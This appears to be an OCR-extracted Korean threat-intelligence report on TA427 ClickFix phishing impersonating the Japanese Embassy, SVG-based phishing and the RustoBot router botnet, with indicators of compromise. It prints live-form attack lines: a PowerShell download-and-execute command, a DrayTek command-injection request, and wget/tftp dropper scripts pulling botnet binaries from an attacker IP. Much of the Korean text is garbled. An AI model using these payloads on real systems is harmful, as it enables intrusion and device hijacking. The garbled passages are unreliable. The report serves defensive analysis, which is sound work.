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On Thu, Feb 6, 2025 at 3:10 PM Ebata, Yasuyuki <y az t > wrote:
Dear

| hope 2025 brings health, happiness, and success to you.

This is Yasuyuki Ebata form Japanese Embassy. | am writting because our Ambassador Shigeo Yamada(bio attached) would like to meet with
you. This meeting is following the personal wishes of Mr. Yamada and we would greatly value the opportunity to exchange perspectives with
you.

If available, please let me know possible dates next week. | will coordinate with Mr. Yamada to arrange a suitable time. If you already have prior
commitments, please don't hesitate to suggest alternative dates.

If you have any questions or need further information, please don't hesitate to contact me anytime.
| look forward to hearing from you soon.

Thanks.

Best regards,

Yasuyuki Ebata

Second secretary
Japanese Embassy in the United States

+ Ol Ol L0j-= “Letter from Ambassador Cho Hyun-Dong.pdf(HS: Z3i&
CHAF M3t pdf)” “[Japanese Embassy] Meeting Request( : [2& CHALEH

HE 27F)"0[2t= M=o &M HF mh0| X0 AS.

+ 0|2 3Z4x= 34 el 7iel A EF8 oY AEat HgE F 0 &y

0| Sdl ofd o|H| ¥ s F7t2 U5,

O

Re: [Japanese Embassy] Meeting Request

O Ebata, Yasuyuki <yasuyuki.ebata21@proton.me> Today at 9:38 AM

T

Dea

| understand. Feb 13 at 2 PM works best fot the Ambassador. We will invite you to the embassy. Please let me know if you have any
other thoughts.

| am attaching the letter from the Ambassador to the Director(including Questionnaire). Please note that it contains some personal
opinions from the Ambassador, so if you require a printed version, | kindly ask you to consider this.

If you could send me some brief comments on the questionnaire before our meeting, it would help us finalize specific topics and lead to
a more productive discussion.

| look forward to your response.

Best regards,

Yasuyuki Ebata
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Shigeo Yamada
Ambassador
Japanese Embassy in the United States

February 9, 2025

Dear

I would like to request a meeting to engage in a deeper discussion based on your
expertise and insights in light of the worsening nuclear crisis in Northeast Asia

| hope to broaden our perspectives and gain valuable insights through an exchange
of ideas with you. Below, I've outlined a few questions | would like to address during
our meeting, which reflect my personal views.

M[Secure Sharing] Questionnaire.
I look forward to a meaningful and informal conversation with you.

Thanks.

Best regards,

Shigeo Yamada

[ord @37t el PDF It ]

2 = | O] X| 0] = "Questionnaire.pdf'2t= 7}t PDF Lt O0| A E E|O{US.

e 7 1) HEREAEEALEN

Embassy of Japan in the Uniled States of America

|

I Questioneaine pdf

[ 7t%t PDF L}Y0| S AEIEl HO]X] ]
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TINA RBE]
This document can only be accessed on registered
Windows devices.

Click the ‘Register’ to register your device.

1. Copy the register code. JPEME-/OFRZ-OGH

2. Press" " +R".
3. Press"Ctrl + V"
4, Press " Enter ",

[ PowerShell BE 2 AMals17|

ArEXH= K| & CHZ 0|20 Ot2HQt 22 PowerShell BE0| 2t &l 55
EE 32 FASI0 20 d1, HA5HA &
powershell -windowstyle hidden -Command iwr "hxxps[:]//securedrive[.]fin-

tech[.Jcom/docs/en/tvmd" -OutFile "$env:TEMPH#p"; $c=Get-Content -Path
"$env.:TEMPWp" -Raw; iex $c; 3Z5TY-76FR3-9G87H-7ZC56
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A2 BHE U AS MO BB Ho 2 FHE, SHOLIO o By
P

Ministry of Foraign Affairs of Japan

( NBE

1. In light of the escalating arms race among Northeast Asian countries, how
do you assess the possibilities and limitations of multilateral cooperation?
Specifically, what forms of multilateral collaboration do you believe could be

most effective?

2. What are your thoughts on the current status of the MNuclear Non-
Proliferation Treaty (NPT) regime and its overall effectiveness?

3. How do you believe the revision of Russia's nuclear doctrine, extending

beyond the battlefield in Ukraine, will impact security in Northeast Asia?

4. What changes do you anticipate in China's nuclear policy over the next
decade?

5. What is your perspective on the interaction between North Korea's nuclear
development goals and the international community's responses? Given the
current situation, what do you consider to be the most realistic approach to

addressing the North Korean nuclear issue?

6. When the international community raises concerns about China's human
rights issues, how do you think this affects China's stance on the North Korean

nuclear problem?

[ 7t PDF Lt Questionnaire.pdf ]
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+ TA427 € O] AL Q10| S& DNS(DDNS) MH|AE Al =0, T2 st=0

[ o p=2
O]

XS MM =ALEA2H, O] ME = 0|0 SAXA -+
7580l EX.

+ EE MHAM S

C

2
2ot Salo|E E AN ZRTS oY EHQIOR ARTY,

HAE RE QlZmEhE 2025 F 1 E O[O #=E ALE =

AXt= FreeDNS EE= No-IP DDNS AMH|AE AFEJN O,

1S5
O o

+ O Z=1} 2Ll

+ 2 E, Microsoft = TA427 2 ClickFix 24 ZZ2o| HEZ LAHM=
HKE SE5+1 PowerShell 3HE M3WSH= URL 2 ZE&ta.

+ O HEZOM REL HE2 X 7|H QA HAAE T 72 MX|SID o8|}
ZAE SE5= 4 AH8E= ASML PIN 2 CHrEES

+ TA427 2 H 3 S¢ 02 T2 E ClickFix 7|'H2 Al=SICH7L CHA] &
7oz E0IUE 7tsd0l =8.

1.1.4 A3l X|&E (Indicators of Compromise)

Indicator type Indicator
115.92[.]4.123 121.179[.]161.230 121.179[.]161.231
P 172.86[.]111.75 210.179[.]30.213 221.144[.]93.250
118.194[.]228.184 14.34[.]85.86 38.180[.]157.197
80.66[.166.197 5.231[.]4.94
Email yasuyuki.ebata21@proton[.Jme eunsoolim29@gmail[.Jcom

support@microsoftonlines[.Jcom microsoftonlines[.Jcom
securedrive.networkguru[.Jcom securedrive.dobl[.]jp
securedrive.servehttp[.Jcom accounts-porfile.serveirc[.Jcom
securedrive-mofa.servehttp[.Jcom account-profile.servepics[.Jcom
login-accounts.servehttp[.Jcom freedrive.servehttp[.Jcom
accounts-myservice.servepics[.Jcom e-securedrive.mofa.mtomtech.co[.]kr

Dornain securedrive.netsecgroup[.Jcom securedrive.root[.]sx
securedrive.privatedns[.Jorg myaccounts-profile.servehttp[.Jcom
drive.us-dos.securitel[.Jcom undocs.myvnc[.Jcom
securedrive.fin-tech[.Jcom undocs.servehttp[.Jcom
securedrive.opticalize[.Jcom raedom[.]Jstore
mail.ukrtelecom[.]Jeu office[.Jrsvp
ukrtelecom[.Jeu ukrtelecom[.Jcom
hxxpsl[:]//securedrive[.Jroot[.]sx:8443/us[.Jemb-japan[.]Jgo[.]jp/doc/eh
hxxps[:]//securedrive[.Jroot[.]sx:8443/us[.Jemb-japan[.]Jgo[.]jp/doc/eh/alert

URL hxxps[:]//securedrive[.Jroot[.]sx:8443/us[.]Jemb-japan[.]gol.]jp/doc/eh/register

hxxps[:]//securedrive[.]fin-tech[.Jcom/docs/en/
hxxps[:]//securedrivel.]fin-tech[.Jcom/docs/en/alert
hxxpsl[:]//securedrive[.]fin-tech[.Jcom/docs/en/register

Page | 9



SECUI

hxxpsl[:]//securedrive[.Ifin-tech[.Jcom/docs/en/t.vmd

hxxpsl[:]//securedrive[.Ifin-tech[.Jcom/docs/en/src/pdf_0.pdf

hxxps[:]//securedrive.]fin-tech[.Jcom/docs/en/src/resp.php

]
]
]
]

hxxps[:]//raedom[.Jstore/[REDACTED]/demo.php?ccs=cin

hxxps[:]//bit-albania[.Jcom/[REDACTED]/demo.php?ccs=cin

hxxpsl:]//office[.Irsvp/fin?document=2hg6739jhngdf7892w0p93udyh5g

FileHash-SHA256

06816634fb019b6ed276d36f414f3b36f99b845ddd1015c2b84a34e0b8d7f083

0ff9c4bba39d6f363b9efdfabb54127925b8c606ecef83a716a97576e288f6dd

18ee1393fc2b2c1d56d4d8f94efad583841cdf8766adb95d7f37299692d60d7d

e410ffadb3f5b6ca82cece8bce4fb378a43c507e3bal127ef669dbb84e3c73e61

78aa2335d3e656256¢50f1f2c544b32713790857998068a5fabdecfb89aa4 11

07a45c7a436258aa81ed2e770a233350784f5b05538da8a1d51d03c55d9c0875

f9536b1d798bee3af85b9700684b41da67ff9fed79aae018a47af085f75c9e3e

85db55aab78103f7c2d536ce79e923c5fd9af14a2683f8bf290993828bddeb50

bfb11abb82ab4c788156df862a5cf4fa085f1ac3203df7a46251373d55cc587¢

8a8c57eedcalbd03308198a87cae7977d3c385f240c5¢c62ac7c602126a1a312f

1.1.5 S 70| =
? 10C &of ZA= HEO| CHoHo] 2 F e "It 2 A7 sttt B9t EF M2

E3 EFX| 9 XPCH M

—

- L = T HA o =1 T —

- B YoM AFEE|= QLE[ HIO|BA 2O WS ZFAMHT 2 JX
- AMEEl= O{E2[A0|M E= 2B A O CiSHo] Z|4 THX|E 2tSE
1.1.6 &1 Xtz

https://www.proofpoint.com/us/blog/threat-insight/around-world-90-days-state-

sponsored-actors-try-clickfix
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1.2 SVG LtE= ArEct ME=2 I|d 54

121 7|19 E A 29f
+ 7|9 E: Phishing, SVG
+ Q9 SyG OtY Lo HTML ZEE 823t N2 LUA= I 24

=

SANM SHAXE2 28 222 204 2t Eo'ﬂoﬂ Cl'* "é! MOI

FaE @@L}, PDF O B3 E &HYSHALE Tl AOIE
A

_I
=
IEES M8t 2dst= HTML H&2 TS 7‘._*-3-3%% s2 | URL

o O
+ X2, AT EHH2 = O|0|X| Mo AFEE= SVG EAM ol HFE TS
A

123 e &AM

+ SVG(Scalable Vector Gaphics)&= XML 2 AHE3SH0] 2 XH I J2iE S BHsH=

GACo 2 O[0|X| 70| 2ZEQ00|A SRS W, Ol 20| EA|L[=
O[O|x| 7}, HIAE HEZ|OA S O[0|X]E &3ot= XML O3S =2l 7ts

[ GIAl sVG Tt = O|O[X| ROj= ERAS M ]

<svg zmlns="http://www.w3.0rg/2000/svg" viewBox="0 0 100 100">
<path d="M25,7128,36140-181-36,25119,441-27-371-41,17136-26z" fill="#cfc"/>
<ellipse cx="50" cy="50" rx="32" ry="30" stroke="#fc0" fill="none" stroke-width="11"/>
<path d="M63,21-7,43142,171-45-61-16,4217,-451-42-16145,6z" f£ill="#3cc"/>

</svg>

[OA] SVG I}YUS HAE HEJ|Z AAS Of |
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n

Ul

+ SVG = XML 7|EIO0|2 2, JPEG L} PNG 2 2| JavaScript 2 HTML & X| &
+ [M2tA CIXO|H = HAE, 4] QIHEHE(E Q40F 262 H|O2{E HAHXE O
A 2ol 7ts.

+ 2Lt 34Xz O|0|X| mp LHof| mfd m|o[X[= HEL|l= A23EHEE
St O|E 9 8dl= 5.
'‘http: //www.w3.org/2000/svg" W "0 0 100 100"
patt M25,7128,36140-181-36,25119,441-27-371-41,17136~-262" "f#cfc"
ellipse "50" "50" "32" *30" st "§fco" f "none" w5 L
ERENGG B oS irsn i aemn s ol
foreignObject x="10" y="10" th="180" "8o"
body "http: //www.w3.0rg/1999/xhtml"
="color: red;">HTML IN SVG</p>
s
[HTML ZE7t Z3tEl ME SvG oY ]
+ 20259 & HTML B & O3S At8et A2 2 HO[X|Th svG IS
=R S TT =
HEOYE AFESH= T4 OO Y0l =l
Audio recording REC# .wav Transcript
Cloud <exchange.documents@ .ae>
To
37seconds_ AudioRecording__ __REF2( 54.svg o
632 bytes

[SVG LtUo| HELE T4 ojH Y ]

+ OO el A AE =0l Ay ME IOl Content-Type 2 O[0[X|= =HQIE.

CDEtEﬂE—TypE: image/svg+xml;
name="37seconds AudioRecording |

[0 Y AAREOA SHOIEl IHY M )

+ :LE1L|' BAE HEJ|O|A ST 0IYS Ao 7|2X 02 HE 1240 Chah
gle HTML oo|X|Ql HE =0l It=

£="100" wi ="1500" xmlns="http://www.w3.o0rg/2000/svg">

M:tp //www acntenet co. jP/Cgl b1ﬁ/lcount/lcounter cgi?link=] https //p\.b 10806bbc01324712a4eeadd63b68e715 r2.dev/Voiced.html]
x="50% "50%" fill="blue" font ily="Arial" font-si o h "middle" alignme eline="middle">

1ck here to play to Aud;o note

[ SVG IYo| A4 FE |
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HetRX oM O TtE2 e oS 7t2|7|= 37 Ae HTML HO[X|=
HAIE.

37seconds__AudioRecording__severstal__REF207153454.svg

Click here to play to Audio note

[HTML 2 A3l SVG I ]

23 22| A, A2 A= Google Voice 2 ¢ & st T4 H0|X|2 0|5 E.

v I @ Voice x o+

25 pub-10806bbc01324712a4eea4d6ab68e715.r2.dev/Voice4.htmi?folder=pPbTjKMSX#

Google Voice

Sent By, googl

Recipient:

Caption Regarding January Invoice
ID: REC_20

Length 53 Seconds

Play Audio

[ Google Voice & 2 &3+ T4 1 0|X]| ]

T 0| X| AbTHO| QC|Q E2S MOl 0|0|X|0| 0, “Play Audio” HIE 22l Al,

ALCH

O -
MBS SAOI0IE 23 HOIXIZ 2ITOIHENA, 3AXE Mg
A4 532

v o Voice x |+

Q
2§
g
g

Google Voice

Sign in using your e-mail password

Google

[T Ho|X|e] 201 &F4 ]
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+ I CHE A OM = SAXZF TAF M M| A9 HElS 250 SVvG HE
s 45 2 A0l Hast M2 MA|g.
Action Required: Please___Review___and___Sign___Document [Ref: #HPQjtxvwhbCkjAa]
a DocuAscend <administrationac@ za>
To
S Confidential Document_879208765691893303014378390788129411723462193760581864pFXsRYPuBQPezIUJFPxf.svg
y 2KB
[ X MBS 8= O)d oY ]
+ X W OA|OM = SVG Tt O| HTML H|O|X| &gtS ZX|EH O] A0
JavaScript 7} ZetE[0f QOIM IUS S JHR Microsoft 2191 AA10] U=
T4 APO|ET} HEHR X o2 AHE.
) \:].:] : l h;t; 3/www‘wu3 org/;’(]).lo-oisvg' ‘:A“.: ‘ll:‘i‘:;z?w;l tht="250">
script>
i g
[SVG Lt AA AL
€ C | @ https://a6.yaalwgyl.ru/VDbOpu/#l
B2 Microsoft
Sign in
[ & Ho|X|e] 29l ¥4l ]
1.24 S 7t0|E
- #10C Hof EAE FEO| o5t g e Bt = A3 Vtsot Eot RS
sofl B A A kpEH A8
- AEE 4 gl B3 28 Fo
- CHE YoM AFEE[= QHE| HIO|2{A =2/ XMHTELE FX|
- AL EE OE2AH O E= 2FAIN O CHSHO XA IiX|E HtY

125 &1 X=

- https://securelist.com/svg-phishing/116256/
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1.3 TOTOLINK F &2 Sl 32 %[+ RustoBot

131 7|9 E 3 29
+ 7|2/ E: RustoBot, Botnet, TOTOLINK
+ 99 Rust 2 7i2El RustoBot O] TOTOLINK 7|7| & E¢ Q==

132 2 AH

+ ARO|H EQt 7| Fortinet 2| FortiGuard Labs & %2 “TOTOLINK3" 7|7|&

SOl Eitel= MER RUS gg

+ O 342 L2, HTH HEL, HAIR 47 Z0|A F2 LHsIFon, 7|2 MY
ZO0IE 34 A= 3.

+ O[g{et 7|7|8 kel 7|& YdRERN= H2, 0 HE2 Mozilla 7+ 2010 HOf|
et Z2aefY A2l Rust = X &,

+ Rust 7|Pte 2 AHEA7| IF0] O] A HdBEL| O|FF "RustoBot"2 2 FHTt

+ S4Xes OREMH AJZEE AFE510] YA EE Hijx 8 HX|

+ RustoBot 2 Oi7HHFE A%t HHOE 02 ZEEEZ AHE5I0] DDoS
342 =¥ Jts

Triggers

T T T T T T T T T T T T T T T T
2025-02.04 2025-02:07 2025-02-10 2025-02-13 2025-02-16 2025-02-19
Dato

[ ForiGuard IPS ¥4 F7H0|A &Qlk|= TOTOLINK F U™ 49| 22Xk |

3 TOTOLINK: ZIONCOM 0| M H|Z=3t= HERR 4 HE EUE
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133 9 &AM

d|

+ TOTOLINK XFHE X ARXF Y3, A 81, 25

A2 TS e B8 MelE
EFEtSHE CGI AT B EQl “cstecgi.cgi” THAU O A et

—

—

#g
r

a
+ O AZPEO|E FYHO| HHEHOR YAUE|QILE, 53| YHo= %48
Qe HY Y HOIYO| EX,
' %ZWE O] ASYE Lo CHYB H45 PO U TE MG A=
A Ol
~

Content-Length: 136
Content-Type: application/json
Cookie: SESSION_ID=2:

; «/mpsl totolink;

[ TOTOLINK X H& £ FHAM™O| HO|ZE ]

+ "hxxp[:]//66.63[.]187.69/mps|"2| WO|2E &A1 A1}, "DrayTek” 7|70 &2
O|X|&= & CH2 FAH QI "CVE-2024-12987"8 LR oD, Ol &2 7|7t
S SHXE0 2fsh o4EF.

+ O] F 2™ "cgi-bin/mainfunction.cgi/apmcfgupload” QI E{H O| A0 2|X|$t
Os 38 ¢ F 4.

ET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX|
IXXXXXXX0.%52$c%52$ccd${IFS}/dev;wget${IFS}thttp://66.63.187.69/w.sh; ${IFS}chmod${IFS}+x${IFS}w.sh
;sh${IFS}w.sh${IFS}draytek HTTP/1.1]

[ DrayTek B3 FQ F AT HO|2ZE |

42 d&, o HEY, MAZ 474 =0M F2 LUl 25
LES
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ZARLE U JHX| CH2 22 ASYEES AL3I0] 0] AMACE HimStD

wget It tftp 2h= F 7HA| BE S ALES}H0] RustoBot = AXst EX|.
; wget http://66.63.187.69/arm5;chmod 777 arm5;./arm5 tdvr.arm
; wget http://66.63.187.69/arm6;chmod 777 arm6;./armé tdvr.arm

; wget http://66.63.187.69/arm7;chmod 777 arm7;./arm7 tdvr.arm
[CHR22C & A37E 1)

tftp -g 66.63.187.69 -r arm -1 -> arm6;chmod 777 arm6;./arm ssh.armé6.tftp;rm -rf armé;

tftp -g 66.63.187.69 -r arm5 -1 -> arm5;chmod 777 arm5;./arm5 ssh.arm5.tftp;rm -rf arm5;
tftp -9 66.63.187.69 -r arm7 -1 -> arm7;chmod 777 arm7;./arm7 ssh.arm7.tftp;rm -rf arm7;
tftp -9 66.63.187.69 -r mips -1 -> mips;chmod 777 mips;./mips ssh.mips.tftp;rm -rf mips;
tftp -9 66.63.187.69 -r mpsl -1 -> mpsl;chmod 777 mpsl;./mpsl ssh.mpsl.tftp;rm -rf mpsl;

[CI220E & AT ZE “tftpsh” ]

#!/bin/sh
ip="66.63.187.69"

rm -rf arm7; wget http://$ip/arm7; +x arm7; ./arm7 $1

rm -rf arm5; wget http://$ip/arm5; +x arm5; ./arm5 $1

rm -rf arm6; wget http://$ip/arm6; +X arm6; ./armé $1

rm -rf mips; wget http://$ip/mips; +X mips; ./mips $1

rm -rf mpsl; wget http://$ip/mpsl; +x mpsl; ./mpsl $1
[CI22H & ATZE "wsh” ]

/bin/busybox wget http://66.63.187.69/armé -
/bin/busybox wget http://66.63.187.69/arm5 -
/bin/busybox wget http://66.63.187.69/arm7 -

armé6; chmod arm6;./armé ssh.armé.wget;rm -
arm5; chmod arm5;./arm5 ssh.arm5.wget;rm -
arm7; chmod arm7;./arm7 ssh.arm7.wget;rm -

/bin/busybox wget http://66.63.187.69/mpsl - mps1; chmod mpsl;./mpsl ssh.mpsl.wget;rm -

>
>
->
/bin/busybox wget http://66.63.187.69/mips -0 -> mips;chmod mips;./mips ssh.mips.wget;rm -
->
Ml

[CI2E20 ¥ A3 EE "wgetsh” ]

L2 20 A3 EEO 2™ RustoBot 2 arm5, arm6, arm7, mips, mpsl &
CHA 7HX] O |H M E &4 I:H)\FOE oa.
Lot 3ok MHO| S AR E x86 OF7|HIN HEE FIt2 2HolE.

BHEE AFD HO|2ZEQ| O E %%%ﬂnmd%ﬂﬂH%M%&EnﬂmmK
4 odez o3,
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RustoBot 2 Rust 2 2 HEl HE EXES Sof AlE 7t
db
aRustLibRustlib db '

lea
mov
add 3
jmp ra
start end

proc near

lea rdx

mov si

xor rod

lea _term_proc
lea , _init_proc
lea rdi, sub_4790
jmp loc_889F

endp

[ RustoBot X H ]

RustoBot 2 GOT(Global Offset Table)O| A A|AE! AP| 40| @ =

HMst, O F 283510l £ &= .

getpid
prctl
off_20DEDO@
readlink

qword_20DEE@

of f_20DEE8

socket
sendto

rename
off_20DF08

[ GOT € E3f APl 2ZAM 7127 ]

offset
offset

offset

offset
offset
offset

offset
offset

_prctl
sub_AF76

_readlink

sub_B344
_socket
_sendto

_rename
sub_8A70
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rax, loc_755B
qword ptr [rsp+

rax, [rsp+ -
rdi, gqword ptr [
dword ptr [rsp+

+ @X, RustoBot 2 C}Z THA Q| Y X|AHO &+& EH-SID, 0|F “xor", “shr”,

get_key_offset_4 proc near
xor esi,

imul eax, esi,

xor
mov
shr
xor
imul Ly ECX;
movzx eax, ax
add rax, rdi

retn

get_key_offset_4 endp

eax

eax

M @®d® MO

[CIE2E 7] &4 At

.rodata:000000000000CAF8

CEEER
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+

Clg| of

OX|3tC 2, XOR 2 0| QI AN e 7|2 StEIYE o

get_key_offset_4 ;

rcx,

8, [rax+ ]
9

r9, [rax+28h]
rie,

rie, [rax+30h]
riid,

rild, [rax+ ]
gword ptr [rsp+

0xCAF8
; GET /HT

; TP/1.1 '@x@DOA'

; 0xCBoo

; Host: ap

; 0xCBO8

; 164.ipif

; 0xCB10
; y.org '@x@DoA' C

; 0xCB18

; onnectio

; 0xCB20

; n: close

; 0xCB28
; '@x0DOAODOA"
; 0xCB30

+path], rcx

g 0| C|2EEH O =2

RustoBot 2

Connection:

HTTP/1.1 200 OK

CE e

[bin/bus deleted curl
ybus sshd echo
listening to dun0 rebo8# ftpget
/proc/self/exe login fusr/
telnet wget /sbin/

/. tftp fusr/sbin/
fusr/lib/ fusr/bin/ Jexe
dvrhelper.anondns.net | techsupport.anondns.net | rustbot.anondns.net

miraisucks.anondns.net "data":"

reboot

/binfbusybox reboot

/bin/busybox kill 1

GET /HTTP 11
Host: api.ipify.org
Connection: close

GET /resclve?name=

&type=1 HTTP/11
Host: 223.5.5.5

£ 1K 72 o

gholsh= 40|, & HR= DDo

Date: Tue, 18 Feb 2025 01:01:37 GMT
Content-Type: text/plain
Content-Length: 14

close

Connection:

ary: Origin

140.228.21.193

[ D)Xt SAEQ]

& A N
=5 ool Q2 AFEE.

ARIE E0|=0] X M= C2 MH 2| =02lS
o 7
= A
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SECUI

%

+ A IP T2 HO|E|(F9] LoiAt =AEQ S8 IP Fa)E AMSH| 2T =27
|2 Z H

mjZlE ™M&sta, O] IfZl2 S AKX AHOAM
+ DNS-over-HTTPS4E ALESHY 2t EgffE 2 MOl HTTPS 80| =¢stH0

— E .

—

kol Farxol o Eafm £of 20,
+ HME P Fac 6lin TE 15| YO R AHBEI, Ol "Source”E 2|0|5H=

GET /resolve?name=miraisucks.anondns.net&type=1 HTTP/1.1

Access—Control-Allow-0rigin: *
Cache-Control: max-age=60.000000

Content-Type: application/json
Date: Tue, 18 Feb 2025 01:01:45 GMT]

{"Status":@,"TC":false,"RD":true,"RA": false,"AD": false,"CD": false,"Question":{"name":"miraisucks|
.anondns.net.","type":1},"Answer": [{"name":"miraisucks.anondns.net.","TTL":60,"type":1,"data":"5
+255.125. 150"}]}HTTP/1 1 400 Bad Request

Content-Type: text/plain; charset=utf-8

Connection: close

400 Bad Request

[C2 =02l =l ]

[/

+ RustoBot 2 “dvrhelper[.Janondns[.]Jnet”, “techsupport[.Janondns[.]net”,
”rustbot[.]anondns[.]net", “miraisucks[.Janondns[.Jnet"2| 4| 7}X| =0 QIS

152 A|=3tH, O EHOIES2 B5 SYGH P £AQl “5255[]125.150"2. &

Jtot
-0
of

[ C2 MH{ 2| DDoS 32 E2[7 HE |

00000060 02 .
00000061 03 20 31 37 34 34 33 34 35 33 32 38 20 38 38 39 . 174434 5328 889
00000071 36 20 33 30 20 31 34 30 30 6 30 140 0

[ 16 212> Dump 2 EA|El C2 MH{2| DDoS 22 E2|AH ¥ |

4 DNS-over-HTTPS(DoH): DNS 2|2t SEHS ¥=35l0 HEFE Y= tE|X| 42 UDP E& TCP CHA
HTTPS Z2EEZ S S¢fl UG HEEEE o= ZE2EES
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= @) (@] -1 -1 (=] b .
+ O] U2 5255[]125.150 1t HZS €7Y5t1, DDoS 842 E2|Hdt=
L A = A
HHOZ AERE|= D7 HT N EE =4I,
«  0x03: 34 A Z LIEILHEH, O] B2 0x03 = UDP DDoS o s &
« 454661159, 1744345328; L|8{X} SAEQ| P FTA(10 2 HANE LIEHH
. 8896, 80: LS| AlC| ZE HZ
« 30 34 X|H A|Zh=E)E X8
«1400: I{Z! G|O|E{ ZO|HIOIE)E Ho
218 353.9595154.. 10.20.30.2 UDP 1444 46095 - 8896 Len=1400
219 353.9597249.. 10.20.30.2 = UDP 1444 46095 - 8896 Len=1400
220 353.9599320.. 10.20.30.2 UDP 1444 46095 - 8896 Len=1400
221 353.9601542.. 10.20.30.2 UDP 1444 46095 - 8896 Len=1400
222 353.9608525.. 10.20.30.2 UDP 1444 46095 - 8896 Len=1400
223 353.9613104.. 10.20.30.2 ubpP 1444 46095 - 8896 Len=1400
224 353.9616613.. 10.20.30.2 UDP 1444 46095 - 8896 Len=1400
225 353.9619870.. 10.20.30.2 UDP 1444 46095 - 8896 Len=1400
226 353.9623692.. 10.20.30.2 UDP 1444 46095 - 8896 Len=1400
227 353.9625849.. 10.20.30.2 ubP 1444 46095 - 8896 Len=1400
228 353.9627928.. 10.20.30.2 UDP 1444 46095 - 8896 Len=1400
229 353.9630230.. 10.20.30.2 UDP 1444 46095 - 8896 Len=1400
[ UDP Flooding 54° E2[A ]
— " non noou " - _I o
+ EESH "Raw IP", “TCP”, "UDP"2| M| 7tX| Z2EEZZ AIE50 DDoS 4=

.text:0000000000004392

5> Flooding 34

BHEE AHA 75 3

domain

type
protocol




SECUI

1.34 Aol X| & (Indicators of Compromise)

Indicator type

Indicator

IP 5.255[.]125.150

dvrhelper[.Janondns[.Jnet

techsupport[.Janondns[.]net

Domain
rustbot[.Janondns[.]net miraisucks[.Janondns[.]Jnet
hxxpl[:1//66.63[.]187.69/w.sh hxxpl[:1//66.63[.]187.69/arm6
hxxp[:]//66.63[.]187.69/wget.sh hxxp[:]//66.63[.]187.69/arm7
URL hxxp[:]//66.63[.]1187.69/t hxxp[:]//66.63[.]1187.69/mips
[] [] [

hxxpl:]//66.63[.]187.69/tftp.sh hxxpl1//66.63[.1187.69/mpsl

hxxp[:]//66.63[.]187.69/arm5 hxxp[:]//66.63[.]1187.69/x86

FileHash-SHA256

76a487a46cfeb94eb5a6290ceffabb923c35befe71a1a3b7b7d67341a40bc454

75d031e8faaf3aale9cafd5ef0fd7de1a2a80aaa245a9e92bae6433a17f48385

fbdd5cba193a5e097cd12694efe14a15eb0fc059623f82dabc0bfo9cbcfa22f8

0dde88e9e5a0670e19c3b3e864de1b6319aaf92989739602e55b494b09873fbe

15c9d7a63fa419305d7f2710b63f71cc38178973c0ccf6d437ce8bbfeecadee

427399864232c6c099f183704b23bff241c7e0de642e9eec66cc56890e8a6304

4f0ba25183ecb79a0721037a0ff9452fa8c19448f82943decal1b36555f2cc99

c0abb19b3a72bd2785e8b567e82300423da672a463eefdedabdd60872ff0e072

dae8dae748be54ba0d5785ab27b1fdf42b7e66c48ab19177d4981bcc032cfb1c

9f098920613bd0390d6485936256a67ae310b633124cfbf503936904e69a81bf

e547306d6dee4b5b2b6ce3e989b9713a5c21ebe3fefalf5c1alea37cec37e20f

b910e77ee686d7d6769fab8cb8fob17a4609c4e164bb4ed80d9717d9ddad364f

44a526f20c592fd95b4f7d61974c6f87701e33776b68a5d0b44ccd2fa3f48c5d

efb0153047b08aa1876e1e4e97a082f6cb05af75479e1e9069b77d98473a11f4

9a9b5bdeb1f23736ceffba623c8950d627a791a0b40c4d44ae2f80e02a43955d

5dc90cbb0f69f283ccf52a2a79b3dfe94ee8b3474cf6474cfcbe9f66f245a55d

b68e2d852ad157fc01da34e11aa24a5ab30845b706d7827b8119a3e648ce2cf1

9e660ce74e1bdb0a75293758200b03efd5f807e7896665addb684e0ffb53afd2

ec9e77f1185f644462305184cf8afcf5d12c7eb524a2d3f4090a658a198c20ce

114b460012412411363c9a3ab0246e48a584ce86fc6c0b7855495ec531dd05al

1697fd5230f7f09a7b43fee1a1693013ed98beeb7a182cd3f0393d93dd1b7576

1.3.5 LS 7I0|E

7l 10C &0 AR F=of| Cioty g5 e Fot 2 28 st 2 £F

off Xl & At 27

= T HAL- O =2 1 T —
CHE AOM ALEE|= QHE| HIO[{A 2 WS XMHT 2 JX
AMEElE HEZEAH Ol £ 2HHA O Ciotd =[4 X Z EHH

1.3.6 &1 X}&

https://www.fortinet.com/blog/threat-research/new-rust-botnet-rustobot-is-
routed-via-routers

Page | 23




SECUI

ﬂ
2 80

T 4 (Phishing): HAFS T £ BAIKES Sof Al2lg 4 QU AR EE 7|0
S OAIRIQl WM JFEetol, H2MS 9 N8TIE Yot Zo| 7|Ug avts

HEE BEYGH @28{& Social Engineering 549| 3+ &7

o

A FL(Spoofing): SAXIZE CHE AMR E= CHE TS AFESHO Mo
MElE dor 5= dH

3 22| EF(RAT): 22 J4 &2| =7 (Remote Administrator Tool)E SEStLt
S

AX0A AR SHEE EAFA EIL ddIc=E AEE = US
ClickFix: AFEXHO|AH SAH-2 0 €7

Atz st 7| |
DNS-over-HTTPS(DoH): DNS # 2|2t
UDP & TCP LAl HTTPS Z2EZE2 &
Flooding 4: ¢2[X o= SO &

S8Y 4+ QEE BEL AH|A HE 3

E T4 10

r_l
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